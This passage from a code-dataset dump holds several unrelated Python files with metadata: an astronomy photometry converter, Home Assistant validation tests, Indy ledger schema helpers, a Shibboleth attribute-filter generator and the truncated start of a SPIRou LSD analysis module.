kids_shearall['DECJ2000']\ng_mag = kids_shearall['MAG_g']\ng_mag_err = kids_shearall['MAGERR_g']\ni_mag = kids_shearall['MAG_i']\ni_mag_err = kids_shearall['MAGERR_i']\nobjectId = kids_shearall['ID']\nr_mag = kids_shearall['MAG_r']\nr_mag_err = kids_shearall['MAGERR_r']\nra = kids_shearall['RAJ2000']\nsnr_g = 1.086/g_mag_err\nsnr_i = 1.086/i_mag_err\nsnr_r = 1.086/r_mag_err\nu_mag = kids_shearall['MAG_u']\nu_mag_err = kids_shearall['MAGERR_u']\nsnr_u = 1.086/u_mag_err\ny_mag = kids_shearall['MAG_i'] #Placeholder\ny_mag_err = kids_shearall['MAGERR_i'] #Placeholder\nsnr_y = 1.086/y_mag_err #Placeholder\nz_mag = kids_shearall['MAG_i'] #Placeholder\nz_mag_err = kids_shearall['MAGERR_i'] #Placeholder\nsnr_z = 1.086/z_mag_err #Placeholder\n\n#Dealing with unicode, string needs to be S12\ntilename = np.array([a.encode('utf8') for a in tilename])\nobjectId = np.array([a.encode('utf8') for a in objectId])\n\ndata = [tilename, dec, g_mag, g_mag_err, i_mag, i_mag_err, objectId, r_mag, r_mag_err, ra, snr_g, snr_i, snr_r, u_mag, u_mag_err, snr_u, y_mag, y_mag_err, snr_y, z_mag, z_mag_err, snr_z]\ndnames = ['tilename', 'dec', 'g_mag', 'g_mag_err', 'i_mag', 'i_mag_err', 'objectId', 'r_mag', 'r_mag_err', 'ra', 'snr_g', 'snr_i', 'snr_r', 'u_mag', 'u_mag_err', 'snr_u', 'y_mag', 'y_mag_err', 'snr_y', 'z_mag', 'z_mag_err', 'snr_z']\n\noutputdir = '/global/cscratch1/sd/elp25/txpipe-reanalysis/data/kids/'\n#Saving the h5 file...\nf = h5.File(outputdir + 'photometry_catalog_kids450.h5', 'w')\ng = f.create_group('photometry')\nfor i in range(len(data)):\n g.create_dataset(dnames[i], data=data[i], dtype=data[i].dtype)\nf.close()\n\n\n\n\n", "sub_path": "kids450/python/convert_kids450photometry_h5py.py", "file_name": "convert_kids450photometry_h5py.py", "file_ext": "py", "file_size_in_byte": 2705, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "astropy.table.Table.read", "line_number": 16, "usage_type": "call"}, {"api_name": "astropy.table.Table", "line_number": 16, "usage_type": "name"}, {"api_name": "astropy.table.vstack", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 66, "usage_type": "call"}]} {"seq_id": "298319800", "text": "import pytest\nimport voluptuous as vol\n\nimport homeassistant.helpers.config_validation as cv\n\n\ndef test_latitude():\n \"\"\"Test latitude validation.\"\"\"\n schema = vol.Schema(cv.latitude)\n\n for value in ('invalid', None, -91, 91, '-91', '91', '123.01A'):\n with pytest.raises(vol.MultipleInvalid):\n schema(value)\n\n for value in ('-89', 89, '12.34'):\n schema(value)\n\n\ndef test_longitude():\n \"\"\"Test longitude validation.\"\"\"\n schema = vol.Schema(cv.longitude)\n\n for value in ('invalid', None, -181, 181, '-181', '181', '123.01A'):\n with pytest.raises(vol.MultipleInvalid):\n schema(value)\n\n for value in ('-179', 179, '12.34'):\n schema(value)\n\n\ndef test_icon():\n \"\"\"Test icon validation.\"\"\"\n schema = vol.Schema(cv.icon)\n\n for value in (False, 'work', 'icon:work'):\n with pytest.raises(vol.MultipleInvalid):\n schema(value)\n\n schema('mdi:work')\n\n\ndef test_platform_config():\n \"\"\"Test platform config validation.\"\"\"\n for value in (\n {'platform': 1},\n {},\n {'hello': 'world'},\n ):\n with pytest.raises(vol.MultipleInvalid):\n cv.PLATFORM_SCHEMA(value)\n\n for value in (\n {'platform': 'mqtt'},\n {'platform': 'mqtt', 'beer': 'yes'},\n ):\n cv.PLATFORM_SCHEMA(value)\n\n\ndef test_entity_id():\n \"\"\"Test entity ID validation.\"\"\"\n schema = vol.Schema(cv.entity_id)\n\n with pytest.raises(vol.MultipleInvalid):\n schema('invalid_entity')\n\n schema('sensor.light')\n\n\ndef test_entity_ids():\n \"\"\"Test entity ID validation.\"\"\"\n schema = vol.Schema(cv.entity_ids)\n\n for value in (\n 'invalid_entity',\n 'sensor.light,sensor_invalid',\n ['invalid_entity'],\n ['sensor.light', 'sensor_invalid'],\n ['sensor.light,sensor_invalid'],\n ):\n with pytest.raises(vol.MultipleInvalid):\n schema(value)\n\n for value in (\n [],\n ['sensor.light'],\n 'sensor.light'\n ):\n schema(value)\n\n assert schema('sensor.light, light.kitchen ') == [\n 'sensor.light', 'light.kitchen'\n ]\n\n\ndef test_temperature_unit():\n \"\"\"Test temperature unit validation.\"\"\"\n schema = vol.Schema(cv.temperature_unit)\n\n with pytest.raises(vol.MultipleInvalid):\n schema('K')\n\n schema('C')\n schema('F')\n\n\ndef test_time_zone():\n \"\"\"Test time zone validation.\"\"\"\n schema = vol.Schema(cv.time_zone)\n\n with pytest.raises(vol.MultipleInvalid):\n schema('America/Do_Not_Exist')\n\n schema('America/Los_Angeles')\n schema('UTC')\n", "sub_path": "tests/helpers/test_config_validation.py", "file_name": "test_config_validation.py", "file_ext": "py", "file_size_in_byte": 2581, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "voluptuous.Schema", "line_number": 9, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.latitude", "line_number": 9, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 9, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 12, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 12, "usage_type": "attribute"}, {"api_name": "voluptuous.Schema", "line_number": 21, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.longitude", "line_number": 21, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 21, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 24, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 24, "usage_type": "attribute"}, {"api_name": "voluptuous.Schema", "line_number": 33, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.icon", "line_number": 33, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 33, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 36, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 49, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 49, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation.PLATFORM_SCHEMA", "line_number": 50, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 50, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.PLATFORM_SCHEMA", "line_number": 56, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 56, "usage_type": "name"}, {"api_name": "voluptuous.Schema", "line_number": 61, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.entity_id", "line_number": 61, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 61, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 63, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 63, "usage_type": "attribute"}, {"api_name": "voluptuous.Schema", "line_number": 71, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.entity_ids", "line_number": 71, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 71, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 80, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 80, "usage_type": "attribute"}, {"api_name": "voluptuous.Schema", "line_number": 97, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.temperature_unit", "line_number": 97, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 97, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 99, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 99, "usage_type": "attribute"}, {"api_name": "voluptuous.Schema", "line_number": 108, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.time_zone", "line_number": 108, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 108, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 110, "usage_type": "call"}, {"api_name": "voluptuous.MultipleInvalid", "line_number": 110, "usage_type": "attribute"}]} {"seq_id": "95175130", "text": "\nimport pickle\nimport asyncio\nimport json\nimport pprint\n\nfrom indy import pool, ledger, wallet, did, anoncreds\nfrom indy.error import ErrorCode, IndyError\nfrom write_did_functions import print_log\n\nasync def schema_request(pool_,submitter):\n # 9.\n print_log('\\n9. Build the SCHEMA request to add new schema to the ledger as a Steward\\n')\n\n # Define Schema: \n schema = {\n 'data': {\n 'name': 'gvt',\n 'version': '1.0',\n 'ver': '1.0',\n 'attributes': [\"age\", \"sex\", \"height\", \"name\"]\n }\n }\n\n # This function call creates the schema and assumes the issuer of credentials using the schema to be the \n # submitter of the schema request:\n\n schema['id'],schema['json'] = await anoncreds.issuer_create_schema(issuer_did=submitter['did'],\n name=schema['data']['name'],\n version=schema['data']['version'],\n attrs=json.dumps(schema['data']['attributes']))\n\n print_log('Schema data: ')\n pprint.pprint(schema['data'])\n print_log('Schema json: ')\n pprint.pprint(json.loads(schema['json']))\n print_log('Schema: ')\n pprint.pprint(schema)\n\n # Create schema for an issuer: return issuer_schema_id, issuer_schema_json:\n\n schema_request = await ledger.build_schema_request(submitter['did'],schema['json'])\n print_log('Schema request: ') # form of a json string\n pprint.pprint(json.loads(schema_request))\n\n # 10.\n print_log('\\n10. Sending the SCHEMA request to the ledger\\n')\n\n schema_response = await ledger.sign_and_submit_request(pool_handle=pool_['handle'],\n wallet_handle=submitter['wallet'],\n submitter_did=submitter['did'],\n request_json=schema_request)\n\n print_log('Schema response:')\n pprint.pprint(json.loads(schema_response)) \n schema_response_dict = json.loads(schema_response)\n\n if schema_response_dict['op'] == 'REJECT':\n print_log('\\nSending GET SCHEMA request to the ledger for existing Version Number\\n')\n schema_response = await get_schema_request(pool_,submitter,schema)\n\n print_log('Schema response:')\n pprint.pprint(json.loads(schema_response))\n\n return(schema)\n\nasync def get_schema_request(pool_,submitter,schema):\n\n schema_request = await ledger.build_get_schema_request(submitter['did'],schema['id'])\n schema_response = await ledger.sign_and_submit_request(pool_handle=pool_['handle'],\n wallet_handle=submitter['wallet'],\n submitter_did=submitter['did'],\n request_json=schema_request)\n return(schema_response)\n\nasync def credential_definition(pool_,issuer,schema):\n\n # Define a credential definition:\n # Cred['def'] : - id\n # - json\n # - tag \n # - type\n # - config\n\n # 11.\n print_log('\\n11. Creating and storing CRED DEFINITION using anoncreds as Trust Anchor, for the given Schema\\n')\n \n cred_def = {'Issuer':issuer['name']}\n cred_def['tag'] = 'cred_def_tag'\n cred_def['type'] = 'CL'\n cred_def['config'] = json.dumps({\"support_revocation\": False})\n\n (cred_def['id'], cred_def['json']) = await anoncreds.issuer_create_and_store_credential_def(wallet_handle=issuer['wallet'],\n issuer_did=issuer['did'], \n schema_json=schema['json'],\n tag=cred_def['tag'], \n signature_type=cred_def['type'], \n config_json=cred_def['config'])\n print_log('Credential definition: ')\n pprint.pprint(json.loads(cred_def['json']))\n\n return(cred_def)\n", "sub_path": "Howto/save_schema_and_cred_def_functions.py", "file_name": "save_schema_and_cred_def_functions.py", "file_ext": "py", "file_size_in_byte": 4414, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "write_did_functions.print_log", "line_number": 13, "usage_type": "call"}, {"api_name": "indy.anoncreds.issuer_create_schema", "line_number": 28, "usage_type": "call"}, {"api_name": "indy.anoncreds", "line_number": 28, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 31, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 33, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 34, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 35, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 36, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 37, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 38, "usage_type": "call"}, {"api_name": "indy.ledger.build_schema_request", "line_number": 42, "usage_type": "call"}, {"api_name": "indy.ledger", "line_number": 42, "usage_type": "name"}, {"api_name": "write_did_functions.print_log", "line_number": 43, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 44, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 47, "usage_type": "call"}, {"api_name": "indy.ledger.sign_and_submit_request", "line_number": 49, "usage_type": "call"}, {"api_name": "indy.ledger", "line_number": 49, "usage_type": "name"}, {"api_name": "write_did_functions.print_log", "line_number": 54, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 55, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 55, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 56, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 59, "usage_type": "call"}, {"api_name": "write_did_functions.print_log", "line_number": 62, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 63, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 63, "usage_type": "call"}, {"api_name": "indy.ledger.build_get_schema_request", "line_number": 69, "usage_type": "call"}, {"api_name": "indy.ledger", "line_number": 69, "usage_type": "name"}, {"api_name": "indy.ledger.sign_and_submit_request", "line_number": 70, "usage_type": "call"}, {"api_name": "indy.ledger", "line_number": 70, "usage_type": "name"}, {"api_name": "write_did_functions.print_log", "line_number": 86, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 91, "usage_type": "call"}, {"api_name": "indy.anoncreds.issuer_create_and_store_credential_def", "line_number": 93, "usage_type": "call"}, {"api_name": "indy.anoncreds", "line_number": 93, "usage_type": "name"}, {"api_name": "write_did_functions.print_log", "line_number": 99, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 100, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 100, "usage_type": "call"}]} {"seq_id": "307771121", "text": "\"\"\"\nParse a Haka metadata file and print out attribute-filter for it.\nShort term manual hack for IdP 2 as Haka stopped releasing attribute-filter file.\n\nUsage help: ./manage.py cleandb -h\n\"\"\"\nfrom django.core.management.base import BaseCommand\nfrom lxml import etree\n\nfrom rr.models.attribute import Attribute\n\n\ndef haka_attribute_parser(filename):\n \"\"\"\n Using CamelCase instead of regular underscore attribute names in element tree.\n \"\"\"\n parser = etree.XMLParser(\n ns_clean=True, remove_comments=True, remove_blank_text=True, resolve_entities=False, no_network=True\n )\n tree = etree.parse(filename, parser)\n root = tree.getroot()\n attribute_filter_policy_group = etree.Element(\n \"AttributeFilterPolicyGroup\", id=\"urn:mace:funet.fi:haka\", nsmap={\"xmlns\": \"urn:mace:shibboleth:2.0:afp\"}\n )\n attribute_filter_policy_group.attrib[\"{urn:mace:shibboleth:2.0:afp}basic\"] = \"urn:mace:shibboleth:2.0:afp:mf:basic\"\n attribute_filter_policy_group.attrib[\"{urn:mace:shibboleth:2.0:afp}saml\"] = \"urn:mace:shibboleth:2.0:afp:mf:saml\"\n attribute_filter_policy_group.attrib[\"{http://www.w3.org/2001/XMLSchema-instance}schemaLocation\"] = (\n \"urn:mace:shibboleth:2.0:afp classpath:/schema/shibboleth-2.0-afp.xsd \"\n \"urn:mace:shibboleth:2.0:afp:mf:basic \"\n \"classpath:/schema/shibboleth-2.0-afp-mf-basic.xsd \"\n \"urn:mace:shibboleth:2.0:afp:mf:saml \"\n \"classpath:/schema/shibboleth-2.0-afp-mf-saml.xsd\"\n )\n for a in root:\n entity_id = a.get(\"entityID\")\n if entity_id:\n for b in a:\n if etree.QName(b.tag).localname == \"SPSSODescriptor\":\n attributes = []\n for c in b:\n if etree.QName(c.tag).localname == \"AttributeConsumingService\":\n for d in c:\n if etree.QName(d.tag).localname == \"RequestedAttribute\":\n friendlyname = d.get(\"FriendlyName\")\n name = d.get(\"Name\")\n if friendlyname:\n attribute = Attribute.objects.filter(name=name).first()\n if not attribute:\n attribute = Attribute.objects.filter(friendlyname=friendlyname).first()\n if attribute:\n attributes.append(attribute)\n else:\n print(\n \"Could not add attribute \"\n + friendlyname\n + \", \"\n + name\n + \" for \"\n + entity_id\n )\n if attributes:\n attribute_filter_policy = etree.SubElement(\n attribute_filter_policy_group, \"AttributeFilterPolicy\", id=\"haka-default-\" + entity_id\n )\n policy_requirement_rule = etree.SubElement(\n attribute_filter_policy, \"PolicyRequirementRule\", value=entity_id\n )\n policy_requirement_rule.attrib[\n \"{http://www.w3.org/2001/XMLSchema-instance}type\"\n ] = \"basic:AttributeRequesterString\"\n for attribute in attributes:\n attribute_rule = etree.SubElement(\n attribute_filter_policy, \"AttributeRule\", attributeID=attribute.attributeid\n )\n permit_value_rule = etree.SubElement(attribute_rule, \"PermitValueRule\")\n permit_value_rule.attrib[\"{http://www.w3.org/2001/XMLSchema-instance}type\"] = \"basic:ANY\"\n return etree.tostring(attribute_filter_policy_group, pretty_print=True, encoding=\"UTF-8\")\n\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n parser.add_argument(\"-i\", type=str, action=\"store\", dest=\"input\", help=\"Metadata input file name\")\n parser.add_argument(\"-o\", type=str, action=\"store\", dest=\"output\", help=\"Attribute-filter output file name\")\n\n def handle(self, *args, **options):\n metadata_input = options[\"input\"]\n attribute_output = options[\"output\"]\n if metadata_input and attribute_output:\n data = haka_attribute_parser(metadata_input)\n with open(attribute_output, \"wb\") as f:\n f.write('<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n'.encode(\"utf-8\"))\n # Hack for correcting namespace definition by removing prefix.\n f.write(data.replace(b\"xmlns:xmlns\", b\"xmlns\"))\n else:\n self.stdout.write(\"Please give both input and output files\")\n", "sub_path": "rr/management/commands/parsehakaattributes.py", "file_name": "parsehakaattributes.py", "file_ext": "py", "file_size_in_byte": 5106, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "lxml.etree.XMLParser", "line_number": 17, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 17, "usage_type": "name"}, {"api_name": "lxml.etree.parse", "line_number": 20, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 20, "usage_type": "name"}, {"api_name": "lxml.etree.Element", "line_number": 22, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 22, "usage_type": "name"}, {"api_name": "lxml.etree.QName", "line_number": 38, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 38, "usage_type": "name"}, {"api_name": "lxml.etree.QName", "line_number": 41, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 41, "usage_type": "name"}, {"api_name": "lxml.etree.QName", "line_number": 43, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 43, "usage_type": "name"}, {"api_name": "rr.models.attribute.Attribute.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "rr.models.attribute.Attribute.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rr.models.attribute.Attribute", "line_number": 47, "usage_type": "name"}, {"api_name": "rr.models.attribute.Attribute.objects.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "rr.models.attribute.Attribute.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rr.models.attribute.Attribute", "line_number": 49, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 62, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 62, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 65, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 65, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 72, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 72, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 75, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 75, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 77, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 77, "usage_type": "name"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 80, "usage_type": "name"}]} {"seq_id": "155645809", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nSpirou Least-Squares Deconvolution (LSD) analysis module\n\nCreated on 2018-08-08 at 14:53\n\n@author: E. Martioli\n\n\"\"\"\nfrom __future__ import division\nimport numpy as np\nfrom scipy import constants\nfrom scipy.optimize import curve_fit\nimport os\n\nfrom SpirouDRS import spirouConfig\nfrom SpirouDRS import spirouCore\nfrom SpirouDRS import spirouImage\n\n# =============================================================================\n# Define variables\n# =============================================================================\n# Name of program\n__NAME__ = 'spirouLSD.py'\n# Get version and author\n__version__ = spirouConfig.Constants.VERSION()\n__author__ = spirouConfig.Constants.AUTHORS()\n__date__ = spirouConfig.Constants.LATEST_EDIT()\n__release__ = spirouConfig.Constants.RELEASE()\n# -----------------------------------------------------------------------------\n# Get Logging function\nWLOG = spirouCore.wlog\n# Get the parameter dictionary class\nParamDict = spirouConfig.ParamDict\n# get the config error\nConfigError = spirouConfig.ConfigError\n# Get plotting functions\nsPlt = spirouCore.sPlt\n\n\n# =============================================================================\n# Define user functions\n# =============================================================================\n\ndef lsd_analysis_wrapper(p, loc):\n \"\"\"\n Function to call functions to perform Least Squares Deconvolution (LSD)\n analysis on the polarimetry data.\n \n :param p: parameter dictionary, ParamDict containing constants\n Must contain at least:\n LOG_OPT: string, option for logging\n \n :param loc: parameter dictionary, ParamDict containing data\n \n :return loc: parameter dictionary, the updated parameter dictionary\n Adds/updates the following:\n \n \"\"\"\n # func_name = __NAME__ + '.lsd_analysis_wrapper()'\n name = 'LSDAnalysis'\n\n # log start of LSD analysis calculations\n wmsg = 'Running function {0} to perform LSD analysis'\n WLOG(p, 'info', wmsg.format(name))\n\n # load spectral lines\n loc = load_lsd_spectral_lines(p, loc)\n\n # get wavelength ranges covering spectral lines in the ccf mask\n loc = get_wl_ranges(p, loc)\n\n # prepare polarimetry data\n loc = prepare_polarimetry_data(p, loc)\n\n # call function to perform lsd analysis\n loc = lsd_analysis(p, loc)\n\n return loc\n\n\ndef load_lsd_spectral_lines(p, loc):\n \"\"\"\n Function to load spectral lines data for LSD analysis.\n \n :param p: parameter dictionary, ParamDict containing constants\n Must contain at least:\n LOG_OPT: string, option for logging\n IC_POLAR_LSD_CCFLINES: list of strings, list of files containing\n spectral lines data\n IC_POLAR_LSD_WLRANGES: array of float pairs for wavelength ranges\n IC_POLAR_LSD_MIN_LINEDEPTH: float, line depth threshold\n :param loc: parameter dictionary, ParamDict to store data\n \n :return loc: parameter dictionaries,\n The updated parameter dictionary adds/updates the following:\n loc['SELECTED_FILE_CCFLINES']: string, selected filename with CCF lines\n loc['LSD_LINES_WLC']: numpy array (1D), central wavelengths\n loc['LSD_LINES_ZNUMBER']: numpy array (1D), atomic number (Z)\n loc['LSD_LINES_DEPTH']: numpy array (1D), line depths\n loc['LSD_LINES_POL_WEIGHT']: numpy array (1D), line weights =\n depth * lande * wlc\n \"\"\"\n\n func_name = __NAME__ + '.load_lsd_spectral_lines()'\n\n # get package name and relative path\n package = spirouConfig.Constants.PACKAGE()\n relfolder = spirouConfig.Constants.LSD_MASK_DIR()\n # get absolute folder path from package and relfolder\n absfolder = spirouConfig.GetAbsFolderPath(package, relfolder)\n\n # get object temperature from header\n obj_temperature = float(loc['HDR']['OBJTEMP'])\n wmsg = 'Temperature of the object observed: {0} K'\n WLOG(p, '', wmsg.format(obj_temperature))\n\n # find out which CCFLINE file is most appropriate for source\n temp_diff_min, loc['SELECTED_FILE_CCFLINES'] = 1.e10, 'marcs_t3000g50_all'\n for i in range(len(p['IC_POLAR_LSD_CCFLINES'])):\n filename = p['IC_POLAR_LSD_CCFLINES'][i]\n suffix = filename.split('marcs_t')[1]\n temp_in_file = float(suffix[0:suffix.find('g50_all')])\n temp_diff = np.abs(obj_temperature - temp_in_file)\n if temp_diff < temp_diff_min:\n temp_diff_min = temp_diff\n # get filename corresponding to the closest temperature to object\n loc['SELECTED_FILE_CCFLINES'] = filename\n\n # get absolute path and filename\n abspath = os.path.join(absfolder, loc['SELECTED_FILE_CCFLINES'])\n # if path exists use it\n if os.path.exists(abspath):\n wmsg = 'Line mask used for LSD computation: {0}'\n WLOG(p, '', wmsg.format(abspath))\n # load spectral lines data from file\n wlcf, znf, depthf, landef = np.loadtxt(abspath, delimiter=' ',\n skiprows=1,\n usecols=(0, 1, 2, 3),\n unpack=True)\n # else raise error\n else:\n emsg1 = 'LSD Line mask file: \"{0}\" not found, unable to proceed'\n emsg2 = ' function = {0}'.format(func_name)\n eargs = [loc['SELECTED_FILE_CCFLINES']]\n WLOG(p, 'error', [emsg1.format(*eargs), emsg2])\n wlcf, znf, depthf, landef = None, None, None, None\n\n # initialize data vectors\n wlc, zn, depth, lande = [], [], [], []\n # loop over spectral ranges to select only spectral lines within ranges\n for wlrange in p['IC_POLAR_LSD_WLRANGES']:\n # set initial and final wavelengths in range\n wl0, wlf = wlrange[0], wlrange[1]\n # create wavelength mask to limit wavelength range\n mask = np.where(np.logical_and(wlcf > wl0, wlcf < wlf))\n wlc = np.append(wlc, wlcf[mask])\n zn = np.append(zn, znf[mask])\n depth = np.append(depth, depthf[mask])\n lande = np.append(lande, landef[mask])\n\n # PS. Below it applies a line depth mask, however the cut in line depth\n # should be done according to the SNR. This will be studied and implemented\n # later. E. Martioli, Aug 10 2018.\n\n # create mask to cut lines with depth lower than IC_POLAR_LSD_MIN_LINEDEPTH\n dmask = np.where(depth > p['IC_POLAR_LSD_MIN_LINEDEPTH'])\n # apply mask to the data\n wlc, zn, depth, lande = wlc[dmask], zn[dmask], depth[dmask], lande[dmask]\n\n # calculate weights for calculation of polarimetric Z-profile\n weight = wlc * depth * lande\n weight = weight / np.max(weight)\n\n # store data into loc dict\n loc['LSD_LINES_WLC'] = wlc\n loc['LSD_LINES_ZNUMBER'] = zn\n loc['LSD_LINES_DEPTH'] = depth\n loc['LSD_LINES_POL_WEIGHT'] = weight\n\n return loc\n\n\ndef get_wl_ranges(p, loc):\n \"\"\"\n Function to generate a list of spectral ranges covering all spectral\n lines in the CCF mask, where the width of each individual range is\n defined by the LSD velocity vector\n \n :param p: parameter dictionary, ParamDict containing constants\n Must contain at least:\n LOG_OPT: string, option for logging\n IC_POLAR_LSD_V0: initial velocity for LSD profile\n IC_POLAR_LSD_VF: final velocity for LSD profile\n\n :param loc: parameter dictionary, ParamDict to store data\n loc['LSD_LINES_WLC']: numpy array (1D), central wavelengths\n \n :return loc: parameter dictionaries,\n The updated parameter dictionary adds/updates the following:\n loc['LSD_LINES_WLRANGES']: array of float pairs for wavelength ranges\n \n \"\"\"\n # func_name = __NAME__ + '.get_wl_ranges()'\n\n # speed of light in km/s\n c = constants.c / 1000.\n # set initial and final velocity\n v0, vf = p['IC_POLAR_LSD_V0'], p['IC_POLAR_LSD_VF']\n # define vector of spectral ranges covering only regions around lines\n wlranges_tmp = []\n for w in loc['LSD_LINES_WLC']:\n dwl = w * (vf - v0) / (2. * c)\n wl0 = w - dwl\n wlf = w + dwl\n wlranges_tmp.append([wl0, wlf])\n # initialize final vector of spectral ranges\n loc['LSD_LINES_WLRANGES'] = []\n # initialize current wl0 and wlf\n current_wl0, current_wlf = wlranges_tmp[0][0], wlranges_tmp[0][1]\n # merge overlapping ranges\n for r in wlranges_tmp:\n if r[0] <= current_wlf:\n current_wlf = r[1]\n else:\n loc['LSD_LINES_WLRANGES'].append([current_wl0, current_wlf])\n current_wl0 = r[0]\n current_wlf = r[1]\n # append last range\n loc['LSD_LINES_WLRANGES'].append([current_wl0, current_wlf])\n\n return loc\n\n\ndef prepare_polarimetry_data(p, loc):\n \"\"\"\n Function to prepare polarimetry data for LSD analysis.\n \n :param p: parameter dictionary, ParamDict containing constants\n Must contain at least:\n LOG_OPT: string, option for logging\n IC_POLAR_LSD_NORMALIZE: bool, normalize Stokes I data\n \n :param loc: parameter dictionary, ParamDict to store data\n Must contain at least:\n loc['WAVE']: numpy array (2D), wavelength data\n loc['STOKESI']: numpy array (2D), Stokes I data\n loc['STOKESIERR']: numpy array (2D), errors of Stokes I\n loc['POL']: numpy array (2D), degree of polarization data\n loc['POLERR']: numpy array (2D), errors of degree of polarization\n loc['NULL2']: numpy array (2D), 2nd null polarization\n\n :return loc: parameter dictionaries,\n The updated parameter dictionary adds/updates the following:\n loc['LSD_WAVE']: numpy array (1D), wavelength data\n loc['LSD_STOKESI']: numpy array (1D), Stokes I data\n loc['LSD_STOKESIERR']: numpy array (1D), errors of Stokes I\n loc['LSD_POL']: numpy array (1D), degree of polarization data\n loc['LSD_POLERR']: numpy array (1D), errors of polarization\n loc['LSD_NULL']: numpy array (1D), 2nd null polarization\n \n \"\"\"\n\n # func_name = __NAME__ + '.prepare_polarimetry_data()'\n\n # get the shape of pol\n ydim, xdim = loc['POL'].shape\n # get wavelength ranges to be considered in each spectral order\n ordermask = get_order_ranges()\n # initialize output data vectors\n loc['LSD_WAVE'], loc['LSD_STOKESI'], loc['LSD_STOKESIERR'] = [], [], []\n loc['LSD_POL'], loc['LSD_POLERR'], loc['LSD_NULL'] = [], [], []\n\n # loop 